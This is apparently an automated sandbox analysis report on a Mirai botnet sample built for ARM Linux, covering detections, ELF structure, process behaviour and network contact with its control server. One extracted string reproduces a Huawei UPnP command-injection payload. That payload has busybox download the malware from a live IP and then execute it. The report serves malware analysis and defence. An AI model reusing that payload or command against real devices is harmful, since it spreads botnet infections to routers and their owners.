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Linux Analysis Report
resgod.arm.elf

Overview

General Information

Sample name:	resgod.arm.elf
Analysis ID:	1643953
MD5:	e4d73412498cd2c45070c3bce9ef3eff
SHA1:	7416cf4503880ea041704137d2e930633850ec9a
SHA256:	d898a64fd607b278081254232473b33b5d2b756eed63f7128392d0473f132424
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	72
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Mirai

Detected TCP or UDP traffic on non-standard ports

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1643953
Start date and time:	2025-03-20 09:46:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	resgod.arm.elf
Detection:	MAL
Classification:	mal72.troj.linELF@0/0@2/0

Runtime Messages

Command:	/tmp/resgod.arm.elf
PID:	5431
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

resgod.arm.elf (PID: 5431, Parent: 5354, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/resgod.arm.elf

resgod.arm.elf New Fork (PID: 5433, Parent: 5431)

resgod.arm.elf New Fork (PID: 5439, Parent: 5433)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
resgod.arm.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
resgod.arm.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
5433.1.00007ff738017000.00007ff738027000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5433.1.00007ff738017000.00007ff738027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5431.1.00007ff738017000.00007ff738027000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5431.1.00007ff738017000.00007ff738027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: resgod.arm.elf PID: 5431	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: resgod.arm.elf PID: 5433	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 1 entries

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.27 -l /tmp/.kx -r /resgod.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal72.troj.linELF@0/0@2/0

Source: /tmp/resgod.arm.elf (PID: 5431)

Queries kernel information via 'uname':

Jump to behavior

Source: resgod.arm.elf, 5431.1.00007ffff1533000.00007ffff1554000.rw-.sdmp, resgod.arm.elf, 5433.1.00007ffff1533000.00007ffff1554000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/resgod.arm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/resgod.arm.elf
Source: resgod.arm.elf, 5431.1.0000555d6f4f2000.0000555d6f620000.rw-.sdmp, resgod.arm.elf, 5433.1.0000555d6f4f2000.0000555d6f620000.rw-.sdmp	Binary or memory string: Po]U!/etc/qemu-binfmt/arm
Source: resgod.arm.elf, 5431.1.0000555d6f4f2000.0000555d6f620000.rw-.sdmp, resgod.arm.elf, 5433.1.0000555d6f4f2000.0000555d6f620000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: resgod.arm.elf, 5431.1.00007ffff1533000.00007ffff1554000.rw-.sdmp, resgod.arm.elf, 5433.1.00007ffff1533000.00007ffff1554000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: resgod.arm.elf, type: SAMPLE
Source: Yara match	File source: 5433.1.00007ff738017000.00007ff738027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5431.1.00007ff738017000.00007ff738027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: resgod.arm.elf PID: 5431, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: resgod.arm.elf PID: 5433, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: resgod.arm.elf, type: SAMPLE
Source: Yara match	File source: 5433.1.00007ff738017000.00007ff738027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5431.1.00007ff738017000.00007ff738027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: resgod.arm.elf PID: 5431, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: resgod.arm.elf PID: 5433, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
resgod.arm.elf	59%	Virustotal		Browse
resgod.arm.elf	64%	ReversingLabs	Linux.Trojan.Mirai
resgod.arm.elf	100%	Avira	EXP/ELF.Mirai.W

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://schemas.xmlsoap.org/soap/encoding//%22%3E	resgod.arm.elf	false	high
http://schemas.xmlsoap.org/soap/encoding/	resgod.arm.elf	false	high
http://schemas.xmlsoap.org/soap/envelope//	resgod.arm.elf	false	high
http://104.168.101.27/sh	resgod.arm.elf	false	high
http://104.168.101.27/resgod.mips;	resgod.arm.elf	false	high
http://schemas.xmlsoap.org/soap/envelope/	resgod.arm.elf	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.168.101.27	unknown	United States		36352	AS-COLOCROSSINGUS	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.168.101.27	resgod.x86.elf	Get hash	malicious	Mirai	Browse
	resgod.arm5.elf	Get hash	malicious	Mirai	Browse
	resgod.sh4.elf	Get hash	malicious	Mirai	Browse
	resgod.arm7.elf	Get hash	malicious	Mirai	Browse
	resgod.mpsl.elf	Get hash	malicious	Mirai	Browse
	resgod.sh4.elf	Get hash	malicious	Mirai	Browse
	resgod.arm5.elf	Get hash	malicious	Mirai	Browse
	resgod.mpsl.elf	Get hash	malicious	Mirai	Browse
	resgod.ppc.elf	Get hash	malicious	Mirai	Browse
	resgod.arm7.elf	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	Aqua.arm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	boatnet.arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	boatnet.sh4.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	boatnet.arm.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	boatnet.mips.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	boatnet.spc.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	boatnet.x86.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	gigab.m68.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	resgod.x86.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	sshd.elf	Get hash	malicious	Unknown	Browse	162.213.35.24

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-COLOCROSSINGUS	QrTtmzYYNT.exe	Get hash	malicious	Remcos	Browse	192.3.176.138
	goodchoicewithgreathappiness.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	192.3.176.138
	Payment_Advice.xls	Get hash	malicious	Unknown	Browse	172.245.123.28
	Inquiry 20.03.2025.xls	Get hash	malicious	Unknown	Browse	104.168.7.32
	BGL-17-2025, Packing List ... . 2073799 07 [S-29-40].xls	Get hash	malicious	Unknown	Browse	192.3.101.146
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	198.23.212.233
	PO 23-179, PO 23-181.xls	Get hash	malicious	Unknown	Browse	192.3.101.146
	resgod.x86.elf	Get hash	malicious	Mirai	Browse	104.168.101.27
	Inquiry 20.03.2025.xls	Get hash	malicious	Unknown	Browse	104.168.7.32
	Payment_Advice.xls	Get hash	malicious	Unknown	Browse	172.245.123.28

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.152066656295304
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	resgod.arm.elf
File size:	63'228 bytes
MD5:	e4d73412498cd2c45070c3bce9ef3eff
SHA1:	7416cf4503880ea041704137d2e930633850ec9a
SHA256:	d898a64fd607b278081254232473b33b5d2b756eed63f7128392d0473f132424
SHA512:	2f18499df4bf9e7ca140caf1fa14d9c67d5691c45ce78e1c727a826f70ddbddb932e68c24413d4fd296718a09f39a6bf1d087c3c500805e078dab0e6c4f6aafc
SSDEEP:	1536:FsL+xmBnrYjQbRWIbSQ9jfZ4uf1BukeKzep1kfvXrUnUAt0O:FqnbECljfCu9BBO6bUnUA6O
TLSH:	66533CC5B981AA22C7C15577FF0F024D3716879CE2EA334399295FB473CB95B0E2A216
File Content Preview:	.ELF...a..........(.........4...l.......4. ...(.....................................................X...`%..........Q.td..................................-...L."....4..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x202
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	62828
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0xd388	0x0	0x6	AX	16
.fini	PROGBITS	0x15438	0xd438	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x1544c	0xd44c	0x1d84	0x0	0x2	A	4
.ctors	PROGBITS	0x1f1d4	0xf1d4	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1f1dc	0xf1dc	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x1f1e8	0xf1e8	0x344	0x0	0x3	WA	4
.bss	NOBITS	0x1f52c	0xf52c	0x2208	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xf52c	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0xf1d0	0xf1d0	6.1921	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0xf1d4	0x1f1d4	0x1f1d4	0x358	0x2560	2.5814	0x6	RW	0x8000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 16
• 8944 undefined
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2025 09:46:56.183609009 CET	59364	8944	192.168.2.13	104.168.101.27
Mar 20, 2025 09:46:57.215147972 CET	59364	8944	192.168.2.13	104.168.101.27
Mar 20, 2025 09:46:59.231132984 CET	59364	8944	192.168.2.13	104.168.101.27
Mar 20, 2025 09:47:03.391204119 CET	59364	8944	192.168.2.13	104.168.101.27
Mar 20, 2025 09:47:11.583074093 CET	59364	8944	192.168.2.13	104.168.101.27
Mar 20, 2025 09:47:27.711045027 CET	59364	8944	192.168.2.13	104.168.101.27
Mar 20, 2025 09:48:01.758800030 CET	59364	8944	192.168.2.13	104.168.101.27
Mar 20, 2025 09:49:07.296693087 CET	59366	8944	192.168.2.13	104.168.101.27
Mar 20, 2025 09:49:08.318602085 CET	59366	8944	192.168.2.13	104.168.101.27
Mar 20, 2025 09:49:10.334537983 CET	59366	8944	192.168.2.13	104.168.101.27
Mar 20, 2025 09:49:14.462451935 CET	59366	8944	192.168.2.13	104.168.101.27
Mar 20, 2025 09:49:22.654459000 CET	59366	8944	192.168.2.13	104.168.101.27
Mar 20, 2025 09:49:38.782423973 CET	59366	8944	192.168.2.13	104.168.101.27
Mar 20, 2025 09:50:12.830298901 CET	59366	8944	192.168.2.13	104.168.101.27

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2025 09:49:40.054336071 CET	52286	53	192.168.2.13	8.8.8.8
Mar 20, 2025 09:49:40.054394960 CET	57723	53	192.168.2.13	8.8.8.8
Mar 20, 2025 09:49:40.144701004 CET	53	57723	8.8.8.8	192.168.2.13
Mar 20, 2025 09:49:40.144995928 CET	53	52286	8.8.8.8	192.168.2.13

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 20, 2025 09:49:40.054336071 CET	192.168.2.13	8.8.8.8	0x8656	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Mar 20, 2025 09:49:40.054394960 CET	192.168.2.13	8.8.8.8	0xa9ac	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 20, 2025 09:49:40.144995928 CET	8.8.8.8	192.168.2.13	0x8656	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
Mar 20, 2025 09:49:40.144995928 CET	8.8.8.8	192.168.2.13	0x8656	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: resgod.arm.elf PID: 5431, Parent PID: 5354

General

Start time (UTC):	08:46:55
Start date (UTC):	20/03/2025
Path:	/tmp/resgod.arm.elf
Arguments:	/tmp/resgod.arm.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	08:46:55
Start date (UTC):	20/03/2025
Path:	/tmp/resgod.arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	08:46:55
Start date (UTC):	20/03/2025
Path:	/tmp/resgod.arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Source: resgod.arm.elf	Virustotal: Detection: 59%			Perma Link
Source: resgod.arm.elf	ReversingLabs: Detection: 63%

Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.27

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Source: resgod.arm.elf	String found in binary or memory: http://104.168.101.27/resgod.mips;
Source: resgod.arm.elf	String found in binary or memory: http://104.168.101.27/sh
Source: resgod.arm.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: resgod.arm.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding//%22%3E
Source: resgod.arm.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: resgod.arm.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope//

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report resgod.arm.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: resgod.arm.elf PID: 5431, Parent PID: 5354

General

File Activities

File Opened

File Read

Process Activities

Process Forked

Prctl Requested

Thread Sleep

System Activities

Query System Information (uname)

Chronological Activities

Analysis Process: resgod.arm.elf PID: 5433, Parent PID: 5431

General

Process Activities

Process Forked

Chronological Activities

Analysis Process: resgod.arm.elf PID: 5439, Parent PID: 5433

General

Linux Analysis Report
resgod.arm.elf